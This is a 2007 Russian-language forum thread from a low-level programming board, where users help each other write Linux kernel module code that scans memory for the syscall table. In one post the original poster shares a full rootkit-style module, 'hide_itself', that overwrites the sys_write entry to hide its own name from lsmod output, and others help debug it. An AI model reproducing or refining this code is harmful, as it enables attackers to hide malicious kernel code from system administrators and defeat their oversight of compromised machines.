find syscalltable

Тема в разделе "WASM.UNIX", создана пользователем ShadOS, 10 ноя 2007.

  1. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Собственно, пролема в следующем: в версии ядра linux 2.6.22 всеми нами любимый код для поиска таблицы сисколов не работает:

    Код (Text):
    1. /* поиск адреса таблицы системных вызовов */
    2. unsigned long *find_sys_call_tbl(void)
    3. {
    4.     int i;
    5.     unsigned long *ptr;
    6.     unsigned long arr[4];
    7.     extern int sys_close(int fd);
    8.     // получаем указатель на конец секции кода
    9.     ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
    10.     // начинаем поиск до конца секции данных
    11.     while((unsigned long)ptr < (unsigned long)init_mm.end_data)
    12.     {
    13.         // если нашли адрес sys_close
    14.         if (*ptr == (unsigned long)((unsigned long *)sys_close))
    15.         {
    16.             for(i=0;i<4;i++)
    17.             {
    18.                 arr[i]=*(ptr + i);
    19.                 arr[i]=(arr[i] >> 16) & 0x0000ffff;
    20.             }
    21.             //  действительно ли адрес в таблице
    22.             if(arr[0] != arr[2] || arr[1] != arr[3]) { sys_call_table = (ptr - __NR_close); break; }
    23.         }
    24.         // увеличим указатель
    25.         ptr++;
    26.     }
    27.     // вернем адрес таблицы системных вызовов
    28.     if(sys_call_table) return sys_call_table;
    29.     // если не нашли
    30.     return NULL;
    31. }
    Абсолютно тот же самый код прекрасно чувствует себя с 2.6.21.
    Те если быть более подробным - модуль ядра прекрасно собирается и даже подгружается, но адрес таблицы не находит и пишет в /var/log/messages что-то типа
    Nov 10 02:07:31 shados-nb kernel: [ 3418.315534] Pid: 10809, comm: insmod Tainted: P 2.6.22-14-generic #1

    В чём может быть проблема? Кто-нибудь сталкивался?
     
  2. mathio

    mathio New Member

    Публикаций:
    0
    Регистрация:
    16 июн 2007
    Сообщения:
    110
    Имхо, быстрее самому отладиться через printk(), чем постить проблему на форум.

    Плюс к этому. Вот так выравнивать на границу дворда неправильно:
    Код (Text):
    1.   // получаем указатель на конец секции кода
    2.   ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
    потому что, если end_code уже выровнен на 4, мы неверно инкрементируем его повторно.
    Правильно в данном случае так
    Код (Text):
    1.   // получаем указатель на конец секции кода
    2.   ptr=(unsigned long *)((init_mm.end_code + 3) & 0xfffffffc);
    Лично я бы подзенствовал над дебажным выводом здесь
    Код (Text):
    1. if(arr[0] != arr[2] || arr[1] != arr[3])
    2. {
    3.   printk(KERN_DEBUG, "[ something found at %p ]\n", ptr);
    4.   sys_call_table = (ptr - __NR_close);
    5.   break;
    6. }
    Насколько правильно работает код можно будет сказать по кол-ву записей "something found" в логе :derisive:
     
  3. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    А с чего вы взяли что end_code может быть уже выровнен? Никогда с этим проблем не было.
    По поводу insmod вот полная выдержка из messages:
    Модуль висит мертвым грузом если быть точнее, собственно, нечего отлаживать.
    insmod выдаёт вообще insmod: error inserting './test.ko': -1 Operation not permitted, хотя
    lsmod | grep test выдаёт:
    test 28016 1
     
  4. mathio

    mathio New Member

    Публикаций:
    0
    Регистрация:
    16 июн 2007
    Сообщения:
    110
    Я ни с чего это не взял, я лишь говорю, что так выравнивать неверно. Впрочем, я думаю макрос вам всё прояснит
    Код (Text):
    1. #define ALIGN(val, x) (((val)+(x)-1)&(~((x)-1)))
    Хех, ну ессно ваш код не будет работать на 64-битной архитектуре. Он абсолютно не портабельный, куча приведений адресов к unsigned long(32 бита).
    Даже
    Код (Text):
    1. ptr = /... / & 0xfffffffc);
    уже обрежет правильный 64-ый указатель.

    Да и сам алгоритм поиска таблицы системных вызовов у вас полагается на неравество старших вордов 32-ух битных слов. Тоесть берутся старшие word'ы адресов системных обработчиков(в окрестности предполагаемого __NR_close) и сравниваются друг с другом, здесь адреса обработчиков явно будут находится не в одном 64К сегменте хотя бы из-за нулевого дворда под индексом 7.
    Код (Text):
    1. #define __NR_restart_syscall        (__NR_SYSCALL_BASE+  0)
    2. #define __NR_exit           (__NR_SYSCALL_BASE+  1)
    3. #define __NR_fork           (__NR_SYSCALL_BASE+  2)
    4. #define __NR_read           (__NR_SYSCALL_BASE+  3)
    5. #define __NR_write          (__NR_SYSCALL_BASE+  4)
    6. #define __NR_open           (__NR_SYSCALL_BASE+  5)
    7. #define __NR_close          (__NR_SYSCALL_BASE+  6)
    8.                     /* 7 was sys_waitpid */
    9. #define __NR_creat          (__NR_SYSCALL_BASE+  8)
    Код надо переписывать под 64-битную архитектуру.
     
  5. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    в GCC на X64 sizeof(long) = 8
     
  6. mathio

    mathio New Member

    Публикаций:
    0
    Регистрация:
    16 июн 2007
    Сообщения:
    110
    Да, верно, это я что-то разошелся.
    long всегда равен размеру указателя в системе, в отличие от int'a по крайней мере на 64-ех битах от MS.
    А код я бы переписал так. ShadOS, попробуйте, а то у меня линукса нет.

    Код (Text):
    1. /* void *sys_call_table; */
    2. typedef int (*syscall_t)(void *,...);
    3.  
    4. void* find_sys_call_tbl(void)
    5. {
    6.   #define ALIGN(val,x) (((val)+(x)-1)&(~((x)-1)))
    7. //#define SCMB (0xffffff)
    8.   #define SCMB (0xffff)
    9.   /* 0xFFFFFFFF80298A20: sys_close() */
    10.   #define SCM(x) (((unsigned long)(x))&(~(SCMB)))
    11.   extern int __FROM_WASM_RU_FORUM__[(sizeof(unsigned long) == sizeof(syscall_t))*2-1];
    12.   extern int sys_close(int fd);
    13.  
    14.   syscall_t *p = (syscall_t *)ALIGN(init_mm.end_code, sizeof(syscall_t));
    15.  
    16.   while(1)
    17.   {
    18.     if( !p || &p[4] < p || &p[4] > (syscall_t *)init_mm.end_data )
    19.         return sys_call_table = NULL;
    20.  
    21.     if( *p == (syscall_t)sys_close )
    22.     if( SCM(p[0]) != SCM(p[2]) || SCM(p[1]) != SCM(p[3]) )
    23.         return sys_call_table = (void *)&p[-__NR_close];
    24.  
    25.     p++;
    26.   }
    27. }
     
  7. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Большое спасибо, тебепрь буду шаманить над дебажным выводом - модуль подгрузился.
     
  8. mathio

    mathio New Member

    Публикаций:
    0
    Регистрация:
    16 июн 2007
    Сообщения:
    110
    Если это кому-то еще интересно, то вот здесь забыты скобки
    Код (Text):
    1. if( (SCM(p[0])) != (SCM(p[2])) || (SCM(p[1])) != (SCM(p[3])) )
     
  9. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Код (Text):
    1. #include <linux/module.h>
    2. #include <linux/kernel.h>
    3. #include <linux/syscalls.h>
    4. #include <linux/sched.h>
    5. #include <asm/uaccess.h>
    6.  
    7. MODULE_LICENSE ("GPL");
    8.  
    9. #define MODULE_NAME "hide_itself"
    10.  
    11. ssize_t (*orig_write)(unsigned int, const char __user *, size_t);
    12.  
    13. int* sys_call_tbl;
    14.  
    15. typedef int (*syscall_t)(void *,...);
    16.  
    17. void find_sys_call_tbl(void)
    18. {
    19.   #define SCMB (0xffff)
    20.   #define SCM(x) (((unsigned long)(x))&(~(SCMB)))\
    21.   syscall_t *p = (syscall_t *)ALIGN(init_mm.end_code, sizeof(syscall_t));
    22.  
    23.   while(1)
    24.   {
    25.     if((!p) || (&p[4] < p) || (&p[4] > (syscall_t *)init_mm.end_data))
    26.     {
    27.         sys_call_tbl = NULL;
    28.         break;
    29.     }
    30.     if( *p == (syscall_t)sys_close )
    31.     if ((SCM(p[0]) != SCM(p[2])) || (SCM(p[1]) != SCM(p[3])))
    32.     {
    33.          sys_call_tbl = (void *)&p[-__NR_close];
    34.          break;
    35.     }
    36.     p++;
    37.   }
    38. }
    39.  
    40.  
    41. ssize_t new_write(unsigned int fd, const char __user *buf, size_t count)
    42. {
    43.   char *temp;
    44.   int ret;
    45.  
    46.   if (!strcmp(current->comm, "lsmod")) {
    47.     temp = (char *)kmalloc(count + 1, GFP_KERNEL);
    48.     copy_from_user(temp, buf, count);
    49.     temp[count + 1] = 0;
    50.     if (strstr(temp, MODULE_NAME) != NULL) {
    51.       kfree(temp);
    52.       return count;
    53.     }
    54.   }
    55.  
    56.   ret = orig_write(fd, buf, count);
    57.   return ret;
    58. }
    59.  
    60.  
    61. int init_module(void)
    62. {
    63.   find_sys_call_tbl();
    64. printk("shados-kit : sys_call_tbl=%p\n",sys_call_tbl);
    65.   orig_write = (void *)sys_call_tbl[__NR_write];
    66.   sys_call_tbl[__NR_write] = (int)new_write;
    67.   return 0;
    68. }
    69.  
    70.  
    71. void cleanup_module(void)
    72. {
    73.   sys_call_tbl[__NR_write] = (int)orig_write;
    74. }
    Вот что у меня в конечном итоге получилось. Этот код абсолютно правильно находит адрес таблицы сисколов (проверяется grep sys_call_table /boot/System.map), но ни в какую не желает перехватывать сискол sys_write. Проверенно в 2.6.22, 2.6.23 ядрах. Есть у кого какие-нибудь идеи?
     
  10. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    Код (Text):
    1. temp[count + 1] = 0
    выход за границы
    нужно
    Код (Text):
    1. temp[count] = 0
    до new_write управление не доходит?
    Oops?
     
  11. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    Oops не происходит. Система просто виснет и отвечает только на SysRq, причём не входит ВООБЩЕ ни в одну часть модуля (проверил вклиниванием в каждую строку кода new_write и module_init отладочного вывода). Если убрать строки:
    Код (Text):
    1.   orig_write = (void *)sys_call_tbl[__NR_write];
    2. printk("shados-kit I'm here 1!\n");
    3.   sys_call_tbl[__NR_write] = (int)new_write;
    4. printk("shados-kit I'm here 2!\n");
    То всё происходит нормально, отладка идёт в /var/log/messages, адрес таблицы находим правильно.
     
  12. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    сам посмотри
    допустим count = 8
    тогда count + 1 = 9
    т. е валидны значения temp[0]...temp[8] или temp[0]...temp[count]
    по поводу comm в task_struct
    в исходниках написано
    кстати, машина SMP?
     
  13. ShadOS

    ShadOS New Member

    Публикаций:
    0
    Регистрация:
    20 сен 2006
    Сообщения:
    39
    Адрес:
    0x48k
    сорри, логчно.
    Машина не SMP. i386. Насчёт comm ничего не понял.
     
  14. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    доступ к current -> comm должен идти через get_task_comm()